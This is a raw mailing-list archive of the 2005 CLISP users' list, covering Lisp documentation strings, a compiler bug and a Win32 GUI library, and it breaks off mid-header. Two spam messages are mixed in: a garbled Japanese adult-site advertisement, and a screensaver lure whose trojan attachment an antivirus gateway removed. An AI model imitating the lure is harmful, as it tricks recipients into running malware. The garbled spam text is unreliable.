by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dib1k-0002cT-Dz; Wed, 15 Jun 2005 09:46:08 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Dib1g-0005Ca-KL; Wed, 15 Jun 2005 09:46:08 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 15 Jun 2005 18:46:01 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 15 Jun 2005 18:45:29 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03049BA547@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: clisp-devel@lists.sourceforge.net, haible@ilog.fr MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: documentation strings Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 15 09:47:21 2005 X-Original-Date: Wed, 15 Jun 2005 18:45:29 +0200 [taken from clisp-devel to clisp-lisp, where IMHO it'S a better fit] Bruno Haible wrote: >I think that doc strings with just 1 to 3 lines of text are an = obsolete >concept. It doesn't convey enough information. Better use URLs into = the >ANSI CL doc or into clisp's impnotes.html. So that SLIME can then mark >them clickable. You've been splitting your screen with one half for Netscape for too = long :) I don't need to look up the CLHS when all I need is a remainder of the = syntax of do-symbols. Packages to point to http information have been = around for long enough. Even CLISP has a clhs file as part of its core. I had a related idea: a separate file would (dolist (setf (documentation ) xyz) to point to a user-defined location, i.e. a local copy of the CLHS or = impnotes or so. The user could run this as part of his config.lisp, or the function could even be run anytime the user sees fit (i.e. be = part of the image, instead of being loaded once and then thrown away, = like the timezone.lisp file). Another variation on this could be for DOCUMENTATION to build the = string at call-time?? Anyway, if such a mapping were included in the clisp image, I could = make slime display that in apropos in addition to the documentation = string (if available). Well, slime or hyperspec.el probably have independent means for that, = so CLHS support need not be built into clisp itself. It's EXT symbols = that need documentation. Actually, gclcvs annoys me by pulling CLHS information from its info = file into the Lisp session. Even more so when it deviates from CLHS (or = does not yet fully implement ANSI). But that idea is most suitable to CLHS symbols. Symbols from EXT would = need to know about where to find the best-fitted impnotes. Some people = prefer the split version, others the full one. = http://clisp.cons.org/impnotes/... would not work from behind a = firewall, or offline. Summary: I see a trivial possibility to add documentation URLs for CLHS = symbols (CLISP already has all that' needed), but somehow harder for = symbols from EXT (yet the same idea could apply, if one knows where to = link to). Regards, J=C3=B6rg H=C3=B6hle. From clisp@bignoli.it Wed Jun 15 14:30:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DifSc-0002YS-Su for clisp-list@lists.sourceforge.net; Wed, 15 Jun 2005 14:30:10 -0700 Received: from mail-relay-1.tiscali.it ([213.205.33.41]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DifSb-0003Yn-DP for clisp-list@lists.sourceforge.net; Wed, 15 Jun 2005 14:30:10 -0700 Received: from zayn.19216810.loc (62.10.40.68) by mail-relay-1.tiscali.it (7.1.021.3) id 42A99D5700088AA3 for clisp-list@lists.sourceforge.net; Wed, 15 Jun 2005 23:29:39 +0200 Received: from zayn.19216810.loc (IDENT:25@localhost [127.0.0.1]) by zayn.19216810.loc (8.13.3/8.13.3) with ESMTP id j5FLUOgw006838 for ; Wed, 15 Jun 2005 23:30:24 +0200 Received: (from aurelio@localhost) by zayn.19216810.loc (8.13.3/8.13.3/Submit) id j5FKDfqF006267; Wed, 15 Jun 2005 22:13:41 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17072.35826.40080.110828@zayn.19216810.loc> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <17068.20602.685052.575434@zayn.19216810.loc> X-Mailer: VM 7.19 under Emacs 21.3.2 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CVS HEAD: error compiling nregex.lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 15 14:30:43 2005 X-Original-Date: Wed, 15 Jun 2005 22:13:38 +0200 Sam Steingold writes: > > (compile nil (lambda (z) (cond ((numberp z) (sin z)) (t )))) > > # ; > NIL ; > NIL > > could you please extract an isolated test case? sorry, until now I wasn't able to produce a simpler test case. I'll work on it in the next few days. From SrnbvOeurt@aol.com Wed Jun 15 23:40:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dio3P-0007IZ-RB for clisp-list@lists.sourceforge.net; Wed, 15 Jun 2005 23:40:43 -0700 Received: from nttkyo307064.tkyo.nt.ftth.ppp.infoweb.ne.jp ([58.0.125.64] helo=mail.sourceforge.net) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1Dio3N-0003Pe-6v for clisp-list@lists.sourceforge.net; Wed, 15 Jun 2005 23:40:43 -0700 From: SrnbvOeurt@aol.com To: clisp-list@lists.sf.net Message-ID: X-Spam-Score: 4.3 (++++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.0 MISSING_DATE Missing Date: header 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 2.9 SUBJ_ILLEGAL_CHARS Subject contains too many raw illegal characters 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] ‚¨‹v‚µ‚Ô‚è‚Å‚·B Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 15 23:42:42 2005 X-Original-Date: Wed Jun 15 23:41:46 2005 ƒAƒ_ƒ‹ƒgƒrƒfƒI‚Æ‚©‚¨D‚«‚Å‚µ‚½‚æ‚ËH ‚à‚µ‚æ‚©‚Á‚½‚çAˆê“x‚±‚±‚̃€[ƒr[Œ©‚Ă݂Ă͂¢‚©‚ª‚Å‚µ‚傤‚©H http://hamex.tv/index2.php?pp ‚ ‚Ü‚èŽsê‚ɂȂ¢‚悤‚ÈAƒIƒŠƒWƒiƒ‹‚Ì‚à‚Ì‚ðW‚߂Ă¢‚é‚Ý‚½‚¢‚Å‚·B ‚킽‚µ‚àˆê“xŒ©‚Ă݂½‚̂ł·‚ªA’p‚¸‚©‚µ‚¢˜bA‚·‚±‚µ”G‚ê‚Ä‚µ‚Ü‚¢‚Ü‚µ‚½B —«‚̂킽‚µ‚àA•’Ê‚É¶Šˆ‚µ‚Ä‚¢‚½‚çAƒAƒ_ƒ‹ƒgƒrƒfƒI‚Ȃǂð–Ú‚É‚·‚é ‹@‰ï‚à‚ ‚Á‚½‚肵‚Ü‚·B ‰‚߂͂©‚È‚èƒhƒLƒhƒL‚µ‚Ü‚µ‚½B Žá‚©‚Á‚½‚±‚Æ‚à‚ ‚èAŽ©‘î‚É‹A‚Á‚Ä‚©‚çŽv‚¢o‚µ‚ĈԂ߂½‚肵‚Ä‚¢‚Ü‚µ‚½B ŽÀÛ‚ÉAŽ©•ª‚Å‚»‚¤‚¢‚Á‚½‚±‚Æ‚ð‚·‚é‚æ‚¤‚ɂȂÁ‚Ä‚©‚ç‚àA‚È‚©‚È‚©Ž©•ª‚Ì ‹‚߂邿‚¤‚È—¬‚ê‚ɂȂç‚È‚¢‚©‚ç‚©A‚µ‚΂炭‚̓Aƒ_ƒ‹ƒgƒrƒfƒI‚Ì•û‚ª ‹»•±‚·‚邿‚¤‚Èó‘Ô‚Å‚·‚ç‚ ‚è‚Ü‚µ‚½B ‚µ‚©‚µ‚µ‚΂炭‚·‚邯AƒAƒ_ƒ‹ƒgƒrƒfƒI“Á—L‚Ìu—¬‚êv‚â——D‚Ìu‰‰‹Zv‚ª –Ú‚É•t‚­‚悤‚ɂȂÁ‚Ä‚«‚Ü‚µ‚½B ’†g‚ª‚í‚©‚邯‚Ç‚ñ‚Ç‚ñ‚µ‚炯‚Ä‚¢‚Á‚Ä‚µ‚Ü‚¢‚Ü‚·B ‚¾‚ñ‚¾‚ñAƒrƒfƒI‚ÍŒ©‚È‚¢‚悤‚ɂȂÁ‚Ä‚¢‚«‚Ü‚µ‚½B ‚»‚ê‚©‚炵‚΂炭‚½‚¿AƒCƒ“ƒ^[ƒlƒbƒg‚Å‚ ‚éƒTƒCƒg‚ðŒ©‚Â‚¯‚Ü‚µ‚½B ‚±‚±‚ÍA‚¢‚í‚ä‚éu‘flvƒ€[ƒr[‚ðê–å‚ÉW‚߂Ă¢‚éƒTƒCƒg‚Ȃ̂ł·‚ªA ‚»‚±‚ÅŒ©‚½ƒ€[ƒr[‚͂킽‚µ‚ð‹Á‚©‚¹‚Ü‚µ‚½B ‘flƒ€[ƒr[‚Ìu—¬‚êv‚ÍA‚ ‚­‚܂ŃXƒ^ƒ“ƒ_[ƒh‚ȃZƒbƒNƒX‚ÅAu‘fl‚Ì ƒGƒbƒ`‚ð‚݂邱‚Æ‚ª‚Å‚«‚év‚Æ‚¢‚¤“_‚Å–ž‘«‚·‚ׂ«‚à‚̂łµ‚½B ‚µ‚©‚µ’j«‚Ì—~‹‚Í‚»‚ꂾ‚¯‚ÅŽû‚Ü‚é‚à‚̂ł͂Ȃ¢‚Å‚µ‚傤H ‚»‚Ì–ž‚½‚³‚ê‚È‚¢•”•ª‚ð‚±‚ÌƒTƒCƒg‚Í–„‚߂Ă¢‚é‚̂ł·B ‚‚܂èAŠX‚ł݂©‚¯‚é‚«‚ê‚¢‚È—«E‚©‚í‚¢‚¢—‚ÌŽq‚ɑ΂µ‚ÄA’j«‚ª•ø‚­ —~–]----‚ƂÂà‚È‚­’p‚¸‚©‚µ‚¢ŠiD‚ð‚³‚¹‚Ă݂½‚èA‚µ‚΂Á‚Ă݂½‚èA ‚²Ž©g‚ð–³—‚â‚è‚­‚킦‚³‚¹‚Ă݂½‚èA’j«‚PA—«‚Q‚̃vƒŒƒC‚ðs‚Á‚Ä ‚Ý‚½‚èEEEB‚»‚¤‚¢‚Á‚½A—~–]‚ðŽÀۂɉf‘œ‚Æ‚µ‚Ä’ñ‹Ÿ‚µ‚Ä‚¢‚é‚̂ł·B ‚킽‚µ‚à‚±‚̃€[ƒr[‚ðŒ©‚Ä‚¢‚ÄA‹C‚ª‚‚¢‚½‚çŽ„Ž©g‚ɂӂê‚Ä‚¢‚Ü‚µ‚½B ‚ ‚Ü‚è‚̉ߌƒ‚³‚ÉA—«‚ðˆêuޏ‚Á‚Ä‚µ‚Ü‚Á‚½‚悤‚Å‚µ‚½B ‚»‚Ì‚ ‚Æ‚ÍA”ÞŽ‚Æ‚Ìsˆ×‚É‚à‹CŽ‚¿‚ªæ‚炸A‚¢‚Â‚à‚ ‚̃€[ƒr[‚ðŽv‚¢ o‚µ‚Ă͂ЂƂè‚Å‹»•±‚µ‚Ä‚¢‚Ü‚·B ŠX‚ð•à‚¢‚Ä‚¢‚ĂӂƎv‚¢o‚µ‚Ä‚µ‚Ü‚¢AŽv‚킸ƒXƒJ[ƒg‚Ì’†‚ÉŽè‚ð“ü‚ê‚Ä ‚µ‚Ü‚Á‚½‚±‚Æ‚à‚ ‚è‚Ü‚·B ‚Ù‚¨‚ðÔ‚­‚µ‚ÄA‘O‚©‚ª‚݂ɂȂÁ‚Ä‚¢‚é—‚ÌŽq‚Á‚ÄŽü‚è‚©‚猩‚邯‚¨‚©‚µ‚È Š´‚¶‚¾‚Á‚½‚±‚Æ‚¾‚ÆŽv‚¢‚Ü‚·B ‚º‚Јê“xŒ©‚Ă݂Ă­‚¾‚³‚¢B ‚«‚Á‚Ƃ܂¾Œ©‚½‚±‚Ƃ̂Ȃ¢ƒGƒbƒ`‚Æ‚¢‚¤‚à‚Ì‚ðŒ©‚é‚±‚Æ‚ªo—ˆ‚邯Žv‚¢‚Ü‚·B http://hamex.tv/index2.php?tc STnbODSTJB From berlin.brown@gmail.com Thu Jun 16 09:38:50 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DixOE-0005NU-Da for clisp-list@lists.sourceforge.net; Thu, 16 Jun 2005 09:38:50 -0700 Received: from zproxy.gmail.com ([64.233.162.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DixOD-00009u-0y for clisp-list@lists.sourceforge.net; Thu, 16 Jun 2005 09:38:50 -0700 Received: by zproxy.gmail.com with SMTP id 34so342423nzf for ; Thu, 16 Jun 2005 09:38:43 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=k6UMWk12I4EDO/5IS9rGStx2QZrFOW/jk1re8kh1ZRYPj7XGdiNuWHMKf/u2OpTvF3Tt5uFXgNw6wrH30ar8Fen3wh4JMJmPNvqcEZPSjbdMNgqVhkW5SjQ5EErK+FDu6/dNO5h0u+3zVN/osX/clmW9BCxC3iz3Wtq0KEChDJU= Received: by 10.36.17.14 with SMTP id 14mr635036nzq; Thu, 16 Jun 2005 09:38:43 -0700 (PDT) Received: by 10.36.65.3 with HTTP; Thu, 16 Jun 2005 09:38:43 -0700 (PDT) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Lisp and Win32 GUIs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 16 09:39:33 2005 X-Original-Date: Thu, 16 Jun 2005 12:38:43 -0400 If quit working on a Win32 GUI library, actually it just simply connects the API to lisp through FFI, nothing too complicated.=20 Anyway, if anybody wants to continue the project or have any questions on how they can create their own system you may ask me. I didn't get too far with the Win32 widget creation set, but it is more code than zero. You can find out more about the project here. I used open tools for compiling on Windows so you don't need to purchase anything. http://www.newspiritcompany.com/retroevolution/widget_toolkit/widget.htm Latest source release. http://www.newspiritcompany.com/src/Widget-0.1.b57-050505-0802.zip Berlin Brown From rurban@x-ray.at Thu Jun 16 11:07:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DiymE-0002YP-Eh for clisp-list@lists.sourceforge.net; Thu, 16 Jun 2005 11:07:42 -0700 Received: from smartmx-01.inode.at ([213.229.60.33]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1Diym9-0006d7-K1 for clisp-list@lists.sourceforge.net; Thu, 16 Jun 2005 11:07:42 -0700 Received: from [62.99.252.218] (port=29766 helo=[192.168.1.2]) by smartmx-01.inode.at with esmtp (Exim 4.34) id 1Diym6-00067y-Lk; Thu, 16 Jun 2005 20:07:35 +0200 Message-ID: <42B1BFE6.3090502@x-ray.at> From: Reini Urban Reply-To: clisp-list@lists.sourceforge.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8b) Gecko/20050217 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Berlin Brown Subject: Re: [clisp-list] Lisp and Win32 GUIs References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 16 11:08:34 2005 X-Original-Date: Thu, 16 Jun 2005 20:07:34 +0200 Berlin Brown schrieb: > If quit working on a Win32 GUI library, actually it just simply > connects the API to lisp through FFI, nothing too complicated. > Anyway, if anybody wants to continue the project or have any questions > on how they can create their own system you may ask me. I didn't get > too far with the Win32 widget creation set, but it is more code than > zero. May I ask why did you quit? I tried to download the src for some time, but your server were down. Thanks for the update! > You can find out more about the project here. I used open tools for > compiling on Windows so you don't need to purchase anything. > > http://www.newspiritcompany.com/retroevolution/widget_toolkit/widget.htm > > Latest source release. > > http://www.newspiritcompany.com/src/Widget-0.1.b57-050505-0802.zip -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ http://phpwiki.org/ From berlin.brown@gmail.com Thu Jun 16 11:45:54 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DizNB-0004mm-Sv for clisp-list@lists.sourceforge.net; Thu, 16 Jun 2005 11:45:53 -0700 Received: from zproxy.gmail.com ([64.233.162.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DizNA-0001F7-EC for clisp-list@lists.sourceforge.net; Thu, 16 Jun 2005 11:45:53 -0700 Received: by zproxy.gmail.com with SMTP id 34so392872nzf for ; Thu, 16 Jun 2005 11:45:46 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=TY51uuVIT74aMTkIw1E/JKPqWiBOcXAL8T4tESw3qpc65HPkr8uC1p+GkwJyyM4HRtjJFphREr6Mh56k+XsOpmPsQcF9sAYaQQf5ww85aGGmbgGkEy8RYFl96FMn8Qq4J73JoxvOAC7Ux6xJGZqYy3yUhxBXjyMwj8T3VsrH1Jc= Received: by 10.36.222.73 with SMTP id u73mr92494nzg; Thu, 16 Jun 2005 11:45:46 -0700 (PDT) Received: by 10.36.65.3 with HTTP; Thu, 16 Jun 2005 11:45:46 -0700 (PDT) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Lisp and Win32 GUIs In-Reply-To: <42B1BFE6.3090502@x-ray.at> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <42B1BFE6.3090502@x-ray.at> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 16 11:47:10 2005 X-Original-Date: Thu, 16 Jun 2005 14:45:46 -0400 I don't know why I quit, my focus moved away from Lisp. I changed servers from retroevolution.com to newspiritcompany.com On 6/16/05, Reini Urban wrote: > Berlin Brown schrieb: > > If quit working on a Win32 GUI library, actually it just simply > > connects the API to lisp through FFI, nothing too complicated. > > Anyway, if anybody wants to continue the project or have any questions > > on how they can create their own system you may ask me. I didn't get > > too far with the Win32 widget creation set, but it is more code than > > zero. >=20 > May I ask why did you quit? >=20 > I tried to download the src for some time, but your server were down. > Thanks for the update! >=20 > > You can find out more about the project here. I used open tools for > > compiling on Windows so you don't need to purchase anything. > > > > http://www.newspiritcompany.com/retroevolution/widget_toolkit/widget.ht= m > > > > Latest source release. > > > > http://www.newspiritcompany.com/src/Widget-0.1.b57-050505-0802.zip > -- > Reini Urban > http://xarch.tu-graz.ac.at/home/rurban/ > http://phpwiki.org/ > From dewzg@aol.com Fri Jun 17 04:16:47 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DjEq7-0008Vc-Hf for clisp-list@lists.sourceforge.net; Fri, 17 Jun 2005 04:16:47 -0700 Received: from mx1.itb.ac.id ([167.205.23.6]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DjEq4-0002bS-DK for clisp-list@lists.sourceforge.net; Fri, 17 Jun 2005 04:16:47 -0700 Received: from antivirus.itb.ac.id (antivirus.ITB.ac.id [167.205.108.137]) by mx1.itb.ac.id (Postfix) with SMTP id D973DBC169 for ; Fri, 17 Jun 2005 18:16:08 +0700 (WIT) Received: from localhost (unknown [167.205.39.73]) by mx1.itb.ac.id (Postfix) with ESMTP id 6C69CBC150 for ; Fri, 17 Jun 2005 18:16:08 +0700 (WIT) From: dewzg@aol.com To: clisp-list@lists.sourceforge.net Message-Id: <20050617111608.6C69CBC150@mx1.itb.ac.id> X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] Hi, my darling :) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 17 04:17:32 2005 X-Original-Date: Fri, 17 Jun 2005 18:16:08 +0700 (WIT) Look at my new screensaver. I hope you will enjoy... Your Liza MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_871AB5B9.9D5436F0" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0005_871AB5B9.9D5436F0 Content-Type: text/plain; charset="windows-1252" Content-Transfer-Encoding: 7bit RE: order ------=_NextPart_000_0005_871AB5B9.9D5436F0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Content-Disposition: attachment; filename="demo.exe.txt" *************************************************************** ** Attachment demo.exe was infected with Trojan.DR.Plexus.G1 virus, ** attachment part was removed. *************************************************************** ------=_NextPart_000_0005_871AB5B9.9D5436F0-- From pjb@informatimago.com Fri Jun 17 04:55:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DjFRt-0002Gb-5j for clisp-list@lists.sourceforge.net; Fri, 17 Jun 2005 04:55:49 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DjFRr-0000oY-IW for clisp-list@lists.sourceforge.net; Fri, 17 Jun 2005 04:55:49 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 2DD65586A6; Fri, 17 Jun 2005 13:55:38 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 6C25A586A3; Fri, 17 Jun 2005 13:55:36 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 26AF210FBF3; Fri, 17 Jun 2005 13:55:36 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050617115536.26AF210FBF3@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-99.8 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] LOAD: line number? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 17 04:56:21 2005 X-Original-Date: Fri, 17 Jun 2005 13:55:36 +0200 (CEST) Is there a way to recover the line number of the last READ during a LOAD when we break into the debugger? -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. -- Georges W. Bush From andrev@ele.puc-rio.br Fri Jun 17 10:14:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DjKQd-0003SF-2i for clisp-list@lists.sourceforge.net; Fri, 17 Jun 2005 10:14:51 -0700 Received: from octans.ele.puc-rio.br ([139.82.23.1]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DjKQb-0007Lp-2i for clisp-list@lists.sourceforge.net; Fri, 17 Jun 2005 10:14:50 -0700 Received: from [139.82.47.52] (tango.ica.ele.puc-rio.br [139.82.47.52]) by Octans.ele.puc-rio.br (8.12.10/8.12.10) with ESMTP id j5HHEEbC001781 for ; Fri, 17 Jun 2005 14:14:21 -0300 Message-ID: <42B304F1.5090600@ele.puc-rio.br> From: =?ISO-8859-1?Q?Andr=E9_Vargas_Abs_da_Cruz?= User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Lisp and Win32 GUIs References: <42B1BFE6.3090502@x-ray.at> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by Octans.ele.puc-rio.br id j5HHEEbC001781 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by 